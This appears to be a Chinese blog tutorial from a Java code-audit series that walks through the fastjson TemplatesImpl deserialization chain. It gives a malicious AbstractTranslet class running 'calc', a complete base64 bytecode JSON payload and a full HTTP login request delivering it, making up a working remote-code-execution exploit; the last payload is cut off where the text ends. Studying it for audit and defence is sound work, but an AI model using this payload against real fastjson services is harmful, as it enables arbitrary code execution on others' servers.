Java代码审计17之fastjson反序列化漏洞(2)
文章目录
- 1、类加载与反射调用
- 1.1、类加载
- 1.2、测试代码
- 1.3、通过类的加载和反射调用evil类
- 2、Fastjson TemplatesImpl链调试
- 2.1、链路总览
- 2.2、调试构造利用链
- 3、fastjson反序列化TemplatesImpl 利⽤
- 3.1、开启 Feature.SupportNonPublicField 得作用
- 3.2、构造利用payload
- 3.3、模拟实际环境
1、类加载与反射调用
1.1、类加载
当实例化一个类的过程,会经历下面四步,按照顺序:
1、加载(Loading)
2、链接(Linking)
3、初始化(Initialization)
4、实例化(Instantiation)
另外,在说下:静态块(静态初始化块)静态块是一个在类加载时执行的代码块,用于执行一些静态初始化操作
。
注意的是,同一个机器,在多次实例化一个类的过程,构造方法会在每次实例化的过程调用,而静态块仅仅在第一次实例化的过程被调用。
备注:
但是实际测试与上面的理论有一些区别,不知道为什么,简单而言,
static代码块内容,理论在类被加载的时候就会被调用,
实际上,必须在类实例化的时候才会调用
这要注意,Evil类的位置,我们看到,当类多次实例化,static静态代码块的内容仅仅会在第一次类被加载的时候执行,

这个就是上面对应的问题,理论上,类被加载的时候,static静态代码块的内容就会被执行,但是实际测试,看到没有进一步实例化的话,static静态代码块的内容就没执行,有的同学可能会说,因为 static代码块 的内容仅仅会被执行一次,是不是上面执行过了,所以没被执行,

我们在解开注释,发现就好了,这个static代码块的执行确实有点奇怪,

1.2、测试代码
创建一个evil类,代码如下:
public class Evil {static {System.out.println("静态代码块");}{System.out.println("构造代码块");}public Evil() {System.out.println("无参构造");}public Evil(String arg) {System.out.println("有参构造");}
}
类加载的代码,
package com.example.test;
public class test {public static void main(String[] args) throws Exception {Class<?> clazz = ClassLoader.getSystemClassLoader().loadClass("Evil"); //把类加载进来clazz.newInstance(); //实例化evil类System.out.println("-------------");clazz.newInstance();// System.out.println("-------------");
// // 获取类的构造函数(假设有一个带有int和String参数的构造函数)
// Constructor<?> constructor = clazz.getConstructor(String.class);
// // 创建类的实例,传入参数
// Object evilInstance = constructor.newInstance("asd");}}
1.3、通过类的加载和反射调用evil类
这个是另一种通过类加载的方式来实例化evil类,loadClass与defineClass都是 java.lang.ClassLoader 类的方法但是因为上面的loadClass是public,所以可以直接调用,但是下面的defineClass是protected,所以需要配合反射机制来调用。然后仅仅看这两个方法如何触发漏洞,loadclass是就一个传参可控且被实例化就可以,defineClass是4个传参可控且被实例化才可以,
protected final Class<?> defineClass(String name, byte[] b, int off, int len);name:指定要被类加载的类名称。b:需要被类加载 的 类节码字节数组。off:即上面数组哪个位置开始加载;一般是0,也就是从头开始len:要加载的长度;一般是bytes.length,也就是上面数组全部加载
放下理想情况下的代码和执行结果,

package com.example.test;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;public class test {public static void main(String[] args) throws Exception {// Class<?> clazz = ClassLoader.getSystemClassLoader().loadClass("Evil"); //把类加载进来
// clazz.newInstance(); //实例化evil类
//
// System.out.println("-------------");
//
// clazz.newInstance();
//System.out.println("-------------");// 获取类的构造函数(假设有一个带有int和String参数的构造函数)Constructor<?> constructor = clazz.getConstructor(String.class);// 创建类的实例,传入参数Object evilInstance = constructor.newInstance("asd");//通过反射调⽤defineClassClassLoader c1 = ClassLoader.getSystemClassLoader(); //创建类加载对象//使用反射机制获取 ClassLoader 类的 defineClass 方法Method m = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);//设置其访问权限为可访问,这个方法用于定义一个类m.setAccessible(true);//从文件系统中读取一个类文件,将其存储在 bytes 数组中byte[] bytes = Files.readAllBytes(Paths.get("D:\\code\\java\\fastjson\\target\\classes\\Evil.class"));//调用 defineClass 方法会将字节码内容转换为一个 Class 对象,并返回给 clazz1Class clazz1 = (Class)m.invoke(c1, "Evil", bytes, 0, bytes.length);//实例化对象clazz1.newInstance();}}
public class Evil {static {System.out.println("静态代码块");}{System.out.println("构造代码块");}public Evil() {System.out.println("无参构造");}public Evil(String arg) {System.out.println("有参构造");}
}
2、Fastjson TemplatesImpl链调试
这里利用到上面的defineClass方法来实现,就是那个比较麻烦的方法。
2.1、链路总览
新建一个类,导入 TemplatesImpl 跟进到 414 行的 defineClass

继续跟进去,就可以看到是 classloader 类的 defineClass 方法,这里就找到第一个条件:找到一个可控的 defineClass 方法,

小结下调用链,
defineTransletClasses-》loader.defineClass-》defineClass
从上面看到 defineTransletClasses 是私有方法,也不能直接调用,我们看下哪里调用了他,发现第一次直接跟,也就是ctrl+点击,无法跟进去,所以右击 查找用法 ,

然后在跟就可以跟进去了,这有一个问题是有3处调用,为什么要跟最后一个。因为我们在复现这个调用链,前人就是从这个调用链打出的伤害,所以我们也照葫芦画瓢,然后其他的几处,各位有兴趣也可以自己研究下能否走通。
跟进来,会发现存在2个if需要满足,也就是_name不能为null,_class需要为null

稍微跟一下 _name 和 _class 都是默认就是null,那么只需要反射设置一下_name的值即可,

当一切顺利的话,运行完毕451行完成类加载,在455行就运行了newInstance来实例化类。即漏洞触发的2个条件都满足,~类加载参数可控~类加载被实例化

然后,这还一个问题是,446行的getTransletInstance方法仍然不是public,我们继续找下getTransletInstance在哪个方法被调用,跟一下到481行的newTransformer方法,是public,ok

小结整个链,
newTransformer-》getTransletInstance-》defineTransletClasses-》loader.defineClass-》defineClass
2.2、调试构造利用链
代码,
package com.example.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class test3 {public static void main(String[] args) throws Exception {TemplatesImpl temp = new TemplatesImpl();temp.newTransformer();}
}
打个断点,跟,这个_name默认为空,直接返回,所以使用反射给_name设置一个 值,

设置完毕_name,继续走,发现395报错,程序退出,
package com.example.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import java.lang.reflect.Field;public class test3 {public static void main(String[] args) throws Exception {TemplatesImpl temp = new TemplatesImpl();Class aClass = temp.getClass();Field filedname = aClass.getDeclaredField("_name");//_name是私有变量,所以我们需要绕过filedname.setAccessible(true);filedname.set(temp,"xbb");temp.newTransformer();}
}

分析这个 _tfactory 不能为空,我们直接全文搜索下,正常这个值应该赋什么,

直接反射赋值,再走,
package com.example.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class test3 {public static void main(String[] args) throws Exception {TemplatesImpl temp = new TemplatesImpl();Class aClass = temp.getClass();Field filedname = aClass.getDeclaredField("_name");//_name是私有变量,所以我们需要绕过filedname.setAccessible(true);filedname.set(temp,"xbb");Field filebytecodes = aClass.getDeclaredField("_bytecodes");byte[] bytes = Files.readAllBytes(Paths.get("D:\\code\\java\\fastjson\\target\\classes\\Evil.class"));filebytecodes.setAccessible(true);//设置二维数组filebytecodes.set(temp,new byte[][]{bytes});Field filebtfactory= aClass.getDeclaredField("_tfactory");filebtfactory.setAccessible(true);filebtfactory.set(temp,new TransformerFactoryImpl());temp.newTransformer();}
}
还是报错,这个拿到我们传入的恶意类evil,得到其父类,就是object,但是object肯定不等于 ABSTRACT_TRANSLET ,所以直接走到else的逻辑,进而出错,

我们使得恶意类继承对应得父类,并实现其中得2个抽象方法,
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet {@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}static {System.out.println("静态代码块");}{System.out.println("构造代码块");}public Evil() {System.out.println("无参构造");}public Evil(String arg) {System.out.println("有参构造");}
}

然后记得重新编译下,得到新的evil.class然后就走完毕了,虽然报错,但是我们恶意得类被加载执行了,

小结下代码,
package com.example.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class test3 {public static void main(String[] args) throws Exception {TemplatesImpl temp = new TemplatesImpl();Class aClass = temp.getClass();Field filedname = aClass.getDeclaredField("_name");//_name是私有变量,所以我们需要绕过filedname.setAccessible(true);filedname.set(temp,"xbb");Field filebytecodes = aClass.getDeclaredField("_bytecodes");byte[] bytes = Files.readAllBytes(Paths.get("D:\\code\\java\\fastjson\\target\\classes\\Evil.class"));filebytecodes.setAccessible(true);//设置二维数组filebytecodes.set(temp,new byte[][]{bytes});Field filebtfactory= aClass.getDeclaredField("_tfactory");filebtfactory.setAccessible(true);filebtfactory.set(temp,new TransformerFactoryImpl());temp.newTransformer();}
}
,
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet {@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}static {System.out.println("静态代码块");}{System.out.println("构造代码块");}public Evil() {System.out.println("无参构造");}public Evil(String arg) {System.out.println("有参构造");}
}
3、fastjson反序列化TemplatesImpl 利⽤
这个利用链在实战中利用较少,一个原因是有一些限制,
3.1、开启 Feature.SupportNonPublicField 得作用
需要 JSON.parseObject或者 JSON.parse先看下这个 Feature.SupportNonPublicField 得作用,先看下正常json反序列化得情况,

然后把set/get得一些函数给注释,

因为设置age、username属性得set/get函数去掉了,所以输出为空,

此时,我们加上 Feature.SupportNonPublicField 再看下,

相当于开启了给属性增加了set/get得方法。而上面我们分析 TemplatesImpl 利用链得时候,细心得同学可能发现了,其对应得类缺少set/get函数,所以,这个链利用得条件就是rd在json反序列化得时候,增加 Feature.SupportNonPublicField 这个参数,这也是该链利用得前提。
3.2、构造利用payload
直接给出代码,重新构建下evil类,加一个弹出计算器,
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Evil extends AbstractTranslet {@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}static {System.out.println("静态代码块");try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}{System.out.println("构造代码块");}public Evil() {System.out.println("无参构造");}public Evil(String arg) {System.out.println("有参构造");}
}
,
package com.example.test;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;public class test4 {public static void main(String[] args) throws Exception {byte[] bytes = Files.readAllBytes(Paths.get("D:\\code\\java\\fastjson\\target\\classes\\Evil.class"));String code = Base64.getEncoder().encodeToString(bytes);final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String payload = "{\"@type\":\"" + NASTY_CLASS +"\",\"_bytecodes\":[\"" + code + "\"]," +"'_name':'xbb'," +"'_tfactory':{}," +"\"_outputProperties\":{}}\n";System.out.println(payload);JSON.parseObject(payload, Feature.SupportNonPublicField);}
}
效果正常,

先说下这里得两个点,一个是为什么需要base64编码,这是因为 alibaba\fastjson\parser\JSONScanner.class 在反序列化得时候,有一步骤解码得操作,
public byte[] bytesValue() {return IOUtils.decodeBase64(this.text, this.np + 1, this.sp);
}
第二个是多了一个“ _outputProperties ”是干嘛得,不在跟了,有兴趣直接参考:https://blog.csdn.net/qq_35733751/article/details/119948833
得到最终得payload,
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQATAoADwAuCQAvADAIADEKADIAMwgANAgANQgANgoANwA4CAA5CgA3ADoHADsHADwKAAwAPQcAPgcAPwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAEABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA2FyZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAiACMHAEEMAEIAQwEAD+aehOmAoOS7o+eggeWdlwcARAwARQAkAQAM5peg5Y+C5p6E6YCgAQAM5pyJ5Y+C5p6E6YCgAQAP6Z2Z5oCB5Luj56CB5Z2XBwBGDABHAEgBAARjYWxjDABJAEoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MACIASwEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAA4ADwAAAAAABQABABAAEQACABIAAAA/AAAAAwAAAAGxAAAAAgATAAAABgABAAAADgAUAAAAIAADAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABAAHQACABIAAABJAAAABAAAAAGxAAAAAgATAAAABgABAAAAEwAUAAAAKgAEAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiACMAAQASAAAASwACAAEAAAAVKrcAAbIAAhIDtgAEsgACEgW2AASxAAAAAgATAAAAEgAEAAAAIwAEACAADAAkABQAJQAUAAAADAABAAAAFQAVABYAAAABACIAJAABABIAAABVAAIAAgAAABUqtwABsgACEgO2AASyAAISBrYABLEAAAACABMAAAASAAQAAAApAAQAIAAMACoAFAArABQAAAAWAAIAAAAVABUAFgAAAAAAFQAlACYAAQAIACcAIwABABIAAAByAAMAAQAAAB+yAAISB7YABLgACBIJtgAKV6cADUu7AAxZKrcADb+xAAEACAARABQACwADABMAAAAaAAYAAAAWAAgAGAARABsAFAAZABUAGgAeAB0AFAAAAAwAAQAVAAkAKAApAAAAKgAAAAcAAlQHACsJAAEALAAAAAIALQ=="],'_name':'xbb','_tfactory':{},"_outputProperties":{}}
3.3、模拟实际环境
详细请求数据包,
POST /login HTTP/1.1
Host: localhost:8080
Content-Length: 2688
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=580930AAC50A1A850BE624BD09D5DE32
Connection: close{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQATAoADwAuCQAvADAIADEKADIAMwgANAgANQgANgoANwA4CAA5CgA3ADoHADsHADwKAAwAPQcAPgcAPwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAEABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA2FyZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAiACMHAEEMAEIAQwEAD+aehOmAoOS7o+eggeWdlwcARAwARQAkAQAM5peg5Y+C5p6E6YCgAQAM5pyJ5Y+C5p6E6YCgAQAP6Z2Z5oCB5Luj56CB5Z2XBwBGDABHAEgBAARjYWxjDABJAEoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MACIASwEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAA4ADwAAAAAABQABABAAEQACABIAAAA/AAAAAwAAAAGxAAAAAgATAAAABgABAAAADgAUAAAAIAADAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABAAHQACABIAAABJAAAABAAAAAGxAAAAAgATAAAABgABAAAAEwAUAAAAKgAEAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiACMAAQASAAAASwACAAEAAAAVKrcAAbIAAhIDtgAEsgACEgW2AASxAAAAAgATAAAAEgAEAAAAIwAEACAADAAkABQAJQAUAAAADAABAAAAFQAVABYAAAABACIAJAABABIAAABVAAIAAgAAABUqtwABsgACEgO2AASyAAISBrYABLEAAAACABMAAAASAAQAAAApAAQAIAAMACoAFAArABQAAAAWAAIAAAAVABUAFgAAAAAAFQAlACYAAQAIACcAIwABABIAAAByAAMAAQAAAB+yAAISB7YABLgACBIJtgAKV6cADUu7AAxZKrcADb+xAAEACAARABQACwADABMAAAAaAAYAAAAWAAgAGAARABsAFAAZABUAGgAeAB0AFAAAAAwAAQAVAAkAKAApAAAAKgAAAAcAAlQHACsJAAEALAAAAAIALQ=="],'_name':'xbb','_tfactory':{},"_outputProperties":{}}

这里注意2点一个是后端代码,需要增加 Feature.SupportNonPublicField 参数,第二个是,一开始我是直接将payload,放到下面得登录用户名得框内,没有弹出计算器很怪异,其实大家看下上面图中两个紫色线标记得就明白了,假设将payload放到下图登录框内,在服务器端,payload就变为下面这种,所以无法触发
{"username":"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQATAoADwAuCQAvADAIADEKADIAMwgANAgANQgANgoANwA4CAA5CgA3ADoHADsHADwKAAwAPQcAPgcAPwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAEABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA2FyZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAiACMHAEEMAEIAQwEAD+aehOmAoOS7o+eggeWdlwcARAwARQAkAQAM5peg5Y+C5p6E6YCgAQAM5pyJ5Y+C5p6E6YCgAQAP6Z2Z5oCB5Luj56CB5Z2XBwBGDABHAEgBAARjYWxjDABJAEoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MACIASwEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAA4ADwAAAAAABQABABAAEQACABIAAAA/AAAAAwAAAAGxAAAAAgATAAAABgABAAAADgAUAAAAIAADAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABAAHQACABIAAABJAAAABAAAAAGxAAAAAgATAAAABgABAAAAEwAUAAAAKgAEAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiACMAAQASAAAASwACAAEAAAAVKrcAAbIAAhIDtgAEsgACEgW2AASxAAAAAgATAAAAEgAEAAAAIwAEACAADAAkABQAJQAUAAAADAABAAAAFQAVABYAAAABACIAJAABABIAAABVAAIAAgAAABUqtwABsgACEgO2AASyAAISBrYABLEAAAACABMAAAASAAQAAAApAAQAIAAMACoAFAArABQAAAAWAAIAAAAVABUAFgAAAAAAFQAlACYAAQAIACcAIwABABIAAAByAAMAAQAAAB+yAAISB7YABLgACBIJtgAKV6cADUu7AAxZKrcADb+xAAEACAARABQACwADABMAAAAaAAYAAAAWAAgAGAARABsAFAAZABUAGgAeAB0AFAAAAAwAAQAVAAkAKAApAAAAKgAAAAcAAlQHACsJAAEALAAAAAIALQ==\"],'_name':'xbb','_tfactory':{},\"_outputProperties\":{}}","password":"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQATAoADwAuCQAvADAIADEKADIAMwgANAgANQgANgoANwA4CAA5CgA3ADoHADsHADwKAAwAPQcAPgcAPwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAEABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAFShMamF2YS9sYW5nL1